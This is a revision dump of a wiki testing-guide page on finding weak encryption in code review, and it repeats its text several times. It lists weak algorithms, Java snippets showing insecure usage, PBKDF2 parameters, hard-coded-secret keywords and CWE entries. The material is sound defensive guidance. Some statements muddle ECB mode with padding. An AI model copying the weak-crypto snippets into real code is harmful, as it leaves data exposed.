RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2017-05-08T07:12:39Z

Tony Hsu HsiangChih:

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example,

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html

Testing for Weak Encryption (OTG-CRYPST-004)

2017-05-08T06:22:47Z

Tony Hsu HsiangChih: /* Basic Security Checklist */

Testing for Weak Encryption (OTG-CRYPST-004)

2017-05-08T01:33:18Z

Tony Hsu HsiangChih: